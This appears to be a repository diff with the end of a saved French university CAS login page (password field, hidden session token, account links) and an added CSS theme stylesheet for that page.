<input class="" type="password" id="password" size="25"
required="" accesskey="m" autocomplete="off" name="password"
value="" placeholder="Mot de passe">
</label>
</div>
</div>
</section>
<section class="margin-space hide">
</section>
<section class="margin-space hide">
<input type="hidden" name="execution"
value="8703df8e-fcc6-408b-b306-e844aa7fcdf6_ZXlKaGJHY2lPaUpJVXpVeE1pSXNJblI1Y0NJNklrcFhWQ0lzSW10cFpDSTZJamc0TnpFd01qVTVMVGxtTXpNdE5HRXdOUzA1TW1JM0xUZGpPRFUyTm1JeU1tRXlNaUo5LjZGX0NsV0FoN2NiWkRmZFNNUW52cUN5TF9oSkZTU3lFSFNmXzhya2pQN0VEY1dRVVMzSG1Dd1piZEhid2RhZnpGdFZYLVEtM2RBX3ZIUndFbV9oWkZLNnlaU1BZVHJDM0JDaWpMUG5lT0lzb0RqUTQ0cFdJWk1zX0toRzNudGF1SUl3RktiQjF6ZllwbFdyQXhKLTJmaGs3Z3h2MlZrMHhnUDZHMXJFQnIxLWpoaGVNWjVsSTBQVGtpTi1NTU41MlpvZzdYMmZCdklRVWU3RmY5dDFxS0xranVENW1qNHVfdklCekJmQTM1T0t4elVuRl93SUVXeXp3aGEzYUdwZHltQlg0WkJWQ2llWnBlN0U4emhtbVpGMHlsZjlyQ3hCMExWR3BYUEt4aXlZeXl1WmRTTC1COVp4d0JyWTZMMVl1SjBhc3BFbGJTN3pfd2hKRGw2WVVvV1hRY0VpSFIwci15YkRNVEJxTFBHUG9CLS1BRExiZ1NUTnlma2lSV1Y3Q1RfdldCVmNWZUw1YkVuc284eG8yX3I4VS1naDk0SklzUGxBeW9FdV9NZ3JobVFDOGM0OXBQVzJuQkZGVTVMS2NuTm42VEVnOGZnclVIN3FhM09aS0F5Q3NIdFpmdzlpd184YkN4OWlBLW1pU1o1V2NWaFdOSXBTZjBZdnFhSHRlWk9jMHM4c2dkRk91TzRSX1NBTTR3cXVJWElSMVNpUE5zNzBjRkZxMDNkWG1OTnp3MklTblNCQ24yWldwNUdXeWlLVG8xY0lBWTJWZDFFTnp0NGZrWXB3YXhxaWRIQ1o5UDBSY09qNzh6bnlnLUhURi05bkRVSVc4MkJ3dTZVdUtEQmlWam1lTHJjVG5ZY0ZTUmZ4OTZ6aVdkWnNHSzAwd1F1bE9ZNEhRQmh4R0M4VFlkQlJORFdUNVBBRjI1X3pGX0JwYUdKaVhVdDEyemttQWJCZER0UzUxN241em53UGxlekdha0h5YzQ5dl82ZXQ4emREZ3RvV2tOR2FQc0F3ZDNJUDZVeWcyQi12cGNUbW1oRVNHLTBxeGVHQ1Zpd2ZmQ1JSWDhldGJ0UHZHa2NkeEdja1lYd0F4eUJsXy1wOHZRS09ud0tLNGZybTlHNDBHb0psOEpnejVwNmRDVVQ0QzNiV0RNajJnZk91OUpkbkNLWjJjTzJvTmozUjU1QlVxMGljQzdjUXp2UjlSaXo3R0ZxWVhTbGgzdXNfSFZzWmkxTnFabDY1bVUtMWV1VzdDWm9ielQwWDZLQm5va1RQZUdfOFdjZ3hBMEdtRlZ0ZldSNFhaa0wzZEdGMkJzdXRBcF9iMWhIUVI5UjdVN1VEVDI2T2RlbjZNOVNMRFVJckdBZURNUHphekNkVGVwMEpTTnpyOUs4VnBjZzhlZzFiVXNpSWFVT1BReWw0aEktOC1BZ0MzUjh0N0xnd0xjRUFTNmJsckg1cjN3OVZZUmJXMVdqSm00Rm96UTl0ZW1NYklNbEVGaGJKQjJ6X1BkaDQxV1V3Nk5UeVhyOFUyNC1WZ3dlaTNGUC1YenkxWDVhSVVVekxlWDVYZnNBV2VHZnh5SHh2RlRFYmJNYlB1c1FOTVYzdW5kUTdJWTdXc0hCZnI4MDFkQ2RsX2tsNzF6dG5zLVhIUW9PT3hpd3dQVFFhUmVWbm8xenFXdHVCR2diTk13LUY1eDZ4emZsME9Hb19XYUtXeG80V3pJWmxoY1JCYXQ1TWpja3V0cW1MckZfcnRJZ1M5V1kwTG9wZkExT3c3SkN2Qnl5eXloOTJka1F5UlNTU1FPcnZFSjZTRVl0VW1tOE1qdERTcGd6QkhyVTFfYkp2STloUWZKckFiYmZmTW5Pd292UXhmTHdHZHREdjJuc1M1MlFzeGhiT18xVlVVV1lLb0lYdHdkTHVsYlBmNUhHTTZuc3VfU3lZVmVjQkJGdUo3RldmeVM2cE1tanFZZ1VqeHVBakx5TDNXUmw2VHJqQVByYmd5VVcwaWFrYlRtRmZpd0JJRmF0ck9pMkl3c09KVUtybXoxV21FcE5HTktqR1NWWGlCR0cxZlB1TzJ4enF5SEhFMXFLZlFmalhiYS1PTkhsemp4YTlBd3RzcUtRSjR1VVlSWEowMVRDYW5FazVVSHJ5R25KNlVCNnJEMlhzTXUwTUFvcW5ldzFqOXdJdllacllxdUlMV090V2pMR2NmVG1IdFFXeFpQODg4aFFFQXMxUzVNQnpwdXNpcTVwUFBzMXNBaVZram9kei12OFZBcHozNDY4OHN4ZURZdUwyangxRFV4UG1RTmJxWmYzTlVUMVRVUHd5Ti15cEJZYVotVzVnQ1hFeGUxRUwyY0JnN0FQQ2FhR3RoYlJCbmV5RVVyV3dYdEVxei1vTkZXSXJVM2lBeGJ6Vk9NYUtaSm1pRkdvWnN2UnZNVHRPb3NDWDVSdVY2SHdMMTZHMGNaTFFUdmJPOXFiWGlQU1E1SG5FMW5rZU1uQlA0UFhHNG9mTHQyZE9MZnhjc0dESTFKQ0g4LTN4aWkycTk2ZUY3WE9ibDZXR1ZET2FPVXNxUnpkdjh6VnZZNklXM1p6TVFzOVRTaXcxZ3NDUy0xNmVyelJvdjlCcXFhWl90RUdvRGRjalYyTnlkbndHZjQ3RzkwVzVGN1FQVGJaandYN25wSkdGRE80emVZdV9WbnFvX1FBQmg2TUJlTjVOcV8tb2tFaExTMVFfMnBfbXFUY3dZZDNkaWRWdTFvY3J1T2RRcC1zRVYyNHVEQmlCRUNfMk5Od1RsR3pBNjQ5cDV3NzNwako5TkZnYi1nZ05Sal9Tem1peGZaNF90RGI3SVRaaDA5RnRvVEx4a2drbHlWa2ZLVmNWX3E5UGdHaGtQXzFpc0k1dmNSS3BLRGJHNVZSS0xuX01qcnE1MmtpSXNvQTREMG5kVENuSWFYcUJWMjk1MnVfMkxlTDk4dmJzR1AteXhvVk50QTN1XzlndG9wOUJqOG5EYVNGX3NLQmJHd1l1MkFPMnpuc1dDYi16NUlIYXdXNXFKREZILWFNMTlPc3pjMVpHQkQ5cmM2bkhqN2E3VFhNNDdCOE1Ia2QybDFkekZRcXhsSWlYdlFfcVNDN2lueTQ5QWFWaUJQSkk4QVBCUF9PMThpWlpsOE5HVUx3Xzhfdzk3b09UVWRqU21UVUMybFlORVFwQm5tV1ktZm1vTmFROFdFUnVOMlJxeGZrS05laVNIRmFHa2xCMkE5V2JSUVZ1REFFQ1liQ0xWYm9FTWRGT1FNNEtHSW5xUXBHb01zaEE2M0lDTW5JMGt6dHBqMEU4RUtKaHg0aWNQc04xOGtWbDlrWFpwQUd6RG1ickl6OThGem4tRXcxNzlFTE4tTFFCdnNVZ096WjBZLUlNd1VoZUZVTkhvQ3VfZTlZQ2pmMjctTGJXQ2tVTEE0Skg3VmtWZlpTektCeVZnbmU3NEhmT0ZZOFJIeG1CQ0ZxcjZBYUNJNUdEckk1NWhqYWpXSUs0X1N2aGhUVHN1akZzYk9rY3hxejJKcmQ2UF9zemZ0N3lGMV9ERkRLT1lidS10MmctMlRyNDNlbnRqOVRneVJqZFNsUk9aVFZhWUdEZ25QM1hoX19IbVlKMmtXa3lfVnRCZmd6azNrbkVLOFRVT2N4TGtPV1dXb2hTTEU2bXdQenZFbUthcnlyeEZCaVk2ZGR5Tk9Uc1JjbkZSRXNmSmhKamNLU0JWS0FaUTJkOS02OTVmdGdoUlpFQ3lOWXRRQ1FFSmh1QWVReGJxNWtLdkV0NlpnVW5JaDc2MG9VT3FSTHhoRmUxQmJuMlZjbFlVVndFV3l6RWpJbkhiS1llZHo3WlRQNXItM1BwV1pQTjFhdjFTRVZSOF96Y1VObFo4T0JwUzlxYXNkX01YTlhobEdicXhTRFBoUjdzRmF1VVhrN2FfaGJmOUNCWlJrNGxDUUU5ZWV2MFdGblE4NF9pMUVhbDNEWHBPaXFldDBLNnRuT2VvSTdhOERmRmpwM2ZibklfeFVqRTc2anNEcmE1bjNWRTBUWXk5QnZGWGVQU2xMeWlqQklzWjEtbzdJRjFEemoyMFVkUGVqN194TXY2bUYxcG9XWDRTRDU2VEt4Z2c1UzAyWGtjeDlNSS1OTWJmRWhyM0stTEZqRjloaGxKSmgzTGZzQk1SdGVoYVRvSXhzU3ZPR1hSR0lkY2FRWGxzc3k2WTBhOXJ0UUpSSXZRLUc2c1ZxQzdpMjVDNmptd0QyenhmVG1VMFVEcG9qVjl0cjJ2VGsyTU12OXIzN0ZfeWNPbTctRlhpYnpvWW9CZ3liWThBNE9UaHRfOFZscG9Rb1cwSEl2cWQyU1FvWWFybWhoMlRoeDQ4MjFZS1pTckZxOEk0QXlOOWkzX1IxVHZWZHlpT3RrV1hLeXhxOFBxTUM5MDJNNGNoSER3dl9pVlctWnRUNXNUZ2haZ2R0TmsxYmg3SzRyTTlJS29EWXRvay1aUEp0cE0xUldvMzM3dGs4bHZfQkRvbFNSNVZJTWVpSkt4TXJyMzJIeWd0ZC1rWjJnbnNmWm0zU3U3WmpQWUw3X1dvUjdTakdiWEMtMkMybklLM09hY2wwQmNRLXV3QzI0ZHIzREpIZi0yWU94dWFjQjlIbkxGdlhRaUIxX1ZaNkxCLWZzVHA0YmFLdUJRX2ptYVZRcWVkaFZDZnRzeGFqZFFkSWpOVXlxM0V2aFo3dEhURGFPQ0hBYU1zdWhXUWFKeEdNbnB6V0hUOGhoTk9QcDhMYnI3cUhCQTY5RDZmaE16TkFJX3djRTdfcEJSWFRBRzZ0cng1emY0MjRoaUZmTkRQVGpsWW9sSFhpczZTdF91NGVwZWU0REg5alVOeEpvaHN1Y3EzTTBBSTlhZ2JCLUF4REhRQ2NnU0d3bUdzTExwT2ozMmFJVEdXY2dZX2tDS1ZUZ25XcFJWTlhfWTV3cjBFR3JhLW1TTnVHcEtCQ3RiUVZVRXI0VzlSQXNjTTdzTXRlMTBtRk81YzFJNnlsODh6Wm15TV81ajVLTXpFVFJHVGpjTUhXQ0xJLWloNXg0bUg5Y1JsR243cTM2ZllyVm1mTVhIN0VnWUVFVGxQQUpSVmZ4QXNUeG4zaDN0dHI2TGl1RlFUNkkxdkhHT21yQm9JTkdjTGVKSVh3bHk3anFvNUxYWnMxN29pWEEuNlE0RFFZaHVZWUJ5cEdmeVlyb0R3SjlFVUVEZWl2TTJZMGN0c1FwUHppMFlDZ2RpRDRYak5HRGhKeVBwMHBrMEdKRVFSaXFDb2QwRk42VWZhckUzWnc="
class=""><input type="hidden" name="_eventId" value="submit"
class=""><input type="hidden" name="geolocation" class="">
</section>
<button class="margin-space" name="submitBtn" accesskey="l" type="submit"
value="Se connecter">
<span class="">Se connecter</span>
</button>
</div>
</form>
<span class="">
<div id="pmlinks" class="">
<div class="">
<br class=""><span class=""></span>
<span class="flex-column-center"><a
href="https://ent.uca.fr/compte/activationCompte/" class="">Première
connexion ?</a><a
href="https://ent.uca.fr/compte/password/forgotPwd" class="">Mot de
passe oublié ?</a></span>
</div>
</div>
</span>
<!-- script type="text/javascript" class="">
/*<![CDATA[*/
var i = "Veuillez patienter..."
var j = "Se connecter"
/*]]>*/
$(window).on('pageshow', function () {
$(':submit').prop('disabled', false);
$(':submit').attr('value', j);
});
$(document).ready(function () {
$("#fm1").submit(function () {
$(":submit").attr("disabled", true);
$(":submit").attr("value", i);
return true;
});
});
</script -->
</div>
<span class="">
<div id="sidebar" class="">
<div class="">
<p class="">Pour des raisons de sécurité, veuillez vous <a
href="https://ent.uca.fr/cas/logout" class="">déconnecter</a> et fermer
votre navigateur lorsque vous avez fini d'accéder aux services authentifiés.
</p>
</div>
</div>
</span>
</div>
</section>
<span class="">
</span>
</div>
</div>
<div id="links"><a href="https://ent.uca.fr/cas/login?locale=fr">Français</a><a
href="https://ent.uca.fr/cas/login?locale=en">English</a></div>
</main>
</div>
</div>
</body>
</html>
\ No newline at end of file
File added
/* Root / Reset */
:root {
--mdc-text-button-label-text-color: #f7f7f7;
--mdc-theme-error: #d9534f;
--cas-theme-primary: #153e50;
--cas-theme-primary-bg: rgba(21, 62, 80, 0.2);
--cas-theme-button-bg: #26418f;
--cas-theme-primary-light: #006d85;
--cas-theme-secondary: #74C163;
--cas-theme-success: var(--cas-theme-secondary);
--cas-theme-danger: var(--mdc-theme-error);
--cas-theme-warning: #e6a210;
--cas-theme-border-light: 1px solid rgba(0, 0, 0, .2);
--mdc-theme-primary: var(--cas-theme-primary, #153e50);
}
body {
display: flex;
height: 100vh;
margin: 0;
padding: 0;
flex-direction: column;
justify-content: space-between;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
background: #EFEFEF;
}
a {
color: #153e50;
color: var(--cas-theme-primary, #153e50);
}
a:hover, a:visited, a:active {
color: #006d85;
color: var(--cas-theme-primary-light);
}
h1, h2, h3, h4, h5, h6 {
margin-top: 0;
}
aside, section, main {
display: block;
}
/* Material */
.mdc-drawer {
top: 56px;
}
.mdc-drawer-app-content {
flex: auto;
overflow: auto;
position: relative;
}
.main-content {
display: flex;
}
.mdc-top-app-bar {
z-index: 7;
}
div#content {
box-shadow:1px 1px 3px #888;
}
/* widgets */
.notifications-count {
position: absolute;
top: 10px;
right: 12px;
background-color: #b00020;
background-color: var(--cas-theme-danger);
color: #fff;
border-radius: 50%;
padding: 1px 3px;
font: 8px Verdana;
}
.cas-brand {
height: 48px;
width: auto;
}
header>nav .cas-brand path.cls-1 {
fill: white;
}
header>nav .cas-brand .cas-logo {
height: 100%;
}
.caps-warn {
display: none;
}
.caps-on {
display: block;
}
.login-section {
border-right: 1px solid rgba(0, 0, 0, .2);
border-right: var(--cas-theme-border-light, 1px solid rgba(0, 0, 0, .2));
padding: 2rem 2.5rem;
flex: 1 1 auto;
/* IE flex fix */
}
.login-section:last-child {
border: none;
}
@media screen and (max-width: 767.99px) {
.login-section {
border-right: none;
border-bottom: 1px solid rgba(0, 0, 0, .2);
border-bottom: var(--cas-theme-border-light, 1px solid rgba(0, 0, 0, .2));
max-width: none;
padding: 0 1.5rem;
}
}
.noborder {
border: 0 none;
}
.close {
font-size: 1.5rem;
font-weight: 700;
line-height: 1;
color: #000;
text-shadow: 0 1px 0 #fff;
text-transform: none;
text-decoration: none;
}
button.close {
background-color: transparent;
border: 0;
-webkit-appearance: none;
}
.banner {
border: 1px solid rgba(0, 0, 0, .2);
border: var(--cas-theme-border-light, 1px solid rgba(0, 0, 0, .2));
position: relative;
padding-left: 10px;
box-shadow:1px 1px 3px #888;
border-radius:.5em;
padding-top: .5em;
padding-bottom: .5em;
}
.banner>span {
vertical-align: top;
}
.banner .banner-message {
margin: 0.375rem 0;
}
.banner .banner-heading:first-child {
margin-top: 0;
}
.banner .banner-message:first-child {
margin-top: 0;
}
.banner .banner-message:last-child {
margin-bottom: 0;
}
.banner-primary {
border-color: #153e50;
border-color: var(--cas-theme-primary, #153e50);
}
.banner-primary .mdi {
color: #153e50;
color: var(--cas-theme-primary, #153e50);
}
.banner-danger h1:before,
.banner-danger h2:before,
.banner-danger h3:before,
.banner-danger h4:before,
.banner-danger h5:before {
content: "\F0027";
font-size: 24px;
font: normal normal normal 24px/1 "Material Design Icons";
}
.banner-danger {
border-color: #b00020;
border-color: var(--cas-theme-danger, #b00020);
color: #D8000C;
background-color: #FFD2D2;
}
.banner-danger .mdi {
color: #b00020;
color: var(--cas-theme-danger, #b00020);
}
.banner-warning {
border-color: #e6a210;
border-color: var(--cas-theme-warning, #e6a210);
color: #e6a210;
color: var(--cas-theme-warning, #e6a210);
}
.banner-warning .mdi {
color: #e6a210;
color: var(--cas-theme-warning, #e6a210);
}
.banner-success h1:before,
.banner-success h2:before,
.banner-success h3:before,
.banner-success h4:before,
.banner-success h5:before {
content: "\F012D";
font-size: 24px;
font: normal normal normal 24px/1 "Material Design Icons";
}
.banner-success {
border-color: var(--cas-theme-success);
color: var(--cas-theme-primary, #153e50);
background-color: #b3e7f8;
}
.banner-dismissible {
padding-right: 4rem;
}
.banner-dismissible .close {
position: absolute;
top: 0;
right: 0;
padding: .75rem 1.25rem;
color: inherit;
}
.login-provider-item {
list-style: none;
}
.login-provider-item .mdc-button .mdi {
margin-right: 0.375rem;
}
@media screen and (max-width: 767.99px) {
.logout-banner {
width: 100%;
}
}
.cas-footer {
background-color: var(--mdc-theme-primary, #6200ee);
color: whitesmoke;
}
.cas-footer a {
color: deepskyblue;
}
.cas-footer>* {
margin-right: 0.25rem;
display: inline-block;
}
.cas-footer>*:last-child {
margin: 0;
}
.cas-notification-dialog .mdc-dialog__content>.cas-notification-message:not(:last-child) {
border-bottom: 1px solid rgba(0, 0, 0, .2);
border-bottom: var(--cas-theme-border-light, 1px solid rgba(0, 0, 0, .2));
}
.mdc-dialog__title::before {
display: none;
}
.mdi {
content: "";
}
.mdi:before {
font-size: 24px;
}
/* custom components */
.custom-select {
display: inline-block;
min-width: 80%;
height: 56px;
padding: .375rem 1.75rem .375rem .75rem;
font-size: 1rem;
font-weight: 400;
line-height: 1.5;
color: rgba(0, 0, 0, 0.87);
vertical-align: middle;
background: #fff url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right .75rem center/8px 10px;
border: 1px solid #ced4da;
border-radius: .25rem;
-webkit-appearance: none;
}
/* utilities */
.bg-primary {
background-color: rgba(21, 62, 80, 0.2);
background-color: var(--cas-theme-primary-bg, rgba(21, 62, 80, 0.2));
}
.border-bottom {
border-color: #153e50;
border-bottom: 1px solid var(--cas-theme-primary, #153e50);
}
.strong {
font-weight: bold;
}
.text-warning {
color: #e6a210;
color: var(--cas-theme-warning, #e6a210);
}
.text-danger {
color: #b00020;
color: var(--cas-theme-danger, #b00020);
}
.text-secondary, .text-success {
color: var(--cas-theme-secondary);
}
.progress-bar-danger .mdc-linear-progress__bar-inner {
border-color: #b00020;
border-color: var(--cas-theme-danger, #b00020);
}
.progress-bar-warning .mdc-linear-progress__bar-inner {
border-color: #e6a210;
border-color: var(--cas-theme-warning, #e6a210);
}
.progress-bar-success .mdc-linear-progress__bar-inner {
border-color: var(--cas-theme-success);
}
.word-break-all {
word-break: break-all;
}
.mdc-text-field {
width: 100%;
}
.mdc-text-field>.mdc-text-field__input, .mdc-text-field:not(.mdc-text-field--disabled):not(.mdc-text-field--outlined):not(.mdc-text-field--textarea)>.mdc-text-field__input {
border-color: #153e50;
border: 1px solid var(--cas-theme-primary, #153e50);
border-radius: 4px;
}
.mdc-input-group .mdc-input-group-field .mdc-text-field {
border-top-right-radius: 0;
border-bottom-right-radius: 0;
}
.mdc-input-group .mdc-input-group-append {
order: 2;
border-top-left-radius: 0;
border-bottom-left-radius: 0;
}
.mdc-input-group .mdc-input-group-prepend, .mdc-input-group .mdc-input-group-append {
height: 56px;
}
.mdc-input-group .mdc-input-group-prepend {
order: 0;
border-top-right-radius: 0;
border-bottom-right-radius: 0;
}
.mdc-input-group .mdc-input-group-field.mdc-input-group-field-prepend .mdc-text-field>.mdc-text-field__input {
border-top-left-radius: 0;
border-bottom-left-radius: 0;
}
.mdc-input-group .mdc-input-group-field.mdc-input-group-field-append .mdc-text-field>.mdc-text-field__input {
border-top-right-radius: 0;
border-bottom-right-radius: 0;
}
.text-danger, .mdc-text-field:not(.mdc-text-field--disabled) .mdc-text-field__icon.text-danger, .mdc-text-field:not(.mdc-text-field--disabled)+.mdc-text-field-helper-line .mdc-text-field-helper-text.text-danger {
color: #b00020;
color: var(--cas-theme-danger);
}
.mdc-text-field--focused:not(.mdc-text-field--disabled) .mdc-floating-label {
color: #153e50;
color: var(--cas-theme-primary, #153e50);
}
.mdc-button--outline:not(:disabled) {
background-color: #428bca;
border-radius: 12px 4px;
}
.mdc-button--raised:not(:disabled) {
margin-right: 4px;
border-radius: 12px 4px;
background-color: var(--cas-theme-primary, #153E50);
}
.list-unstyled {
padding-left: 0;
list-style: none;
}
.text-center {
text-align: center;
}
.pad-0 {
padding-right: 0;
padding-left: 0;
}
.w-66 {
width: 66%;
}
.w-33 {
width: 33%;
}
.w-25 {
width: 25%;
}
.w-50 {
width: 50%;
}
.w-75 {
width: 75%;
}
.w-100 {
width: 100%;
}
.w-auto {
width: auto;
}
.h-25 {
height: 25%;
}
.h-50 {
height: 50%;
}
.h-75 {
height: 75%;
}
.h-100 {
height: 100%;
}
.h-auto {
height: auto;
}
.mw-100 {
max-width: 100% !important;
}
.mh-100 {
max-height: 100%;
}
.min-vw-100 {
min-width: 100vw;
}
.min-vh-100 {
min-height: 100vh;
}
.vw-100 {
width: 100vw;
}
.vh-100 {
height: 100vh;
}
.mw-50 {
max-width: 50%;
}
.border-rounded {
border-color: #153e50;
border: 1px solid var(--cas-theme-primary, #153e50);
border-radius: 4px;
}
.border-bottom {
border-color: #153e50;
border-bottom: 1px solid var(--cas-theme-primary, #153e50);
}
@media all and (min-width: 768px) {
.w-md-50 {
width: 50%;
}
.w-md-66 {
width: 66%;
}
}
@media all and (min-width: 992px) {
.w-lg-50 {
width: 50%;
}
.w-lg-66 {
width: 66%;
}
}
@media all and (max-width: 767.99px) {
.w-md-50 {
width: 100%;
}
.w-md-66 {
width: 100%;
}
}
@media all and (max-width: 991.99px) {
.w-lg-50 {
width: 100%;
}
.w-lg-66 {
width: 100%;
}
}
.visually-hidden {
position: absolute;
width: 1px;
height: 1px;
padding: 0;
overflow: hidden;
clip: rect(0, 0, 0, 0);
white-space: nowrap;
border: 0;
}
*, ::after, ::before {
box-sizing: border-box;
}
.text-justify {
text-align: justify;
}
#duo_iframe {
width: 100%;
min-width: 304px;
height: 330px;
border: none;
padding: 0;
margin: 0;
}
.dataTables_wrapper {
margin-left: 5px;
margin-top: 5px;
margin-right: 5px;
}
#serviceui {
background-color: #17a3b844;
border-radius: 4px;
}
#heroimg {
display: block;
margin-left: auto;
margin-right: auto;
}
/* IE flex fix */
#main-content {
margin-right: 10px;
margin-left: 10px;
}
/* oddly, the auto right and left margins caused the login form to not be centered in IE */
@media all and (min-width: 768px) {
.login-section {
flex: 1 1 500px;
/* according to flexbugs, flex-basis should be explicitly set for IE */
/* https://github.com/philipwalton/flexbugs#flexbug-4 */
}
}
/* flex-basis: auto works in IE with the column view,
but a specific value needs to be set for row view
*/
/* fix for not showing password reveal icon on MSEdge and MSIE */
.pwd::-ms-reveal,
.pwd::-ms-clear {
display: none;
}
@media (min-width: 1400px) {
.container-xxl {
max-width: 90%;
}
}
\ No newline at end of file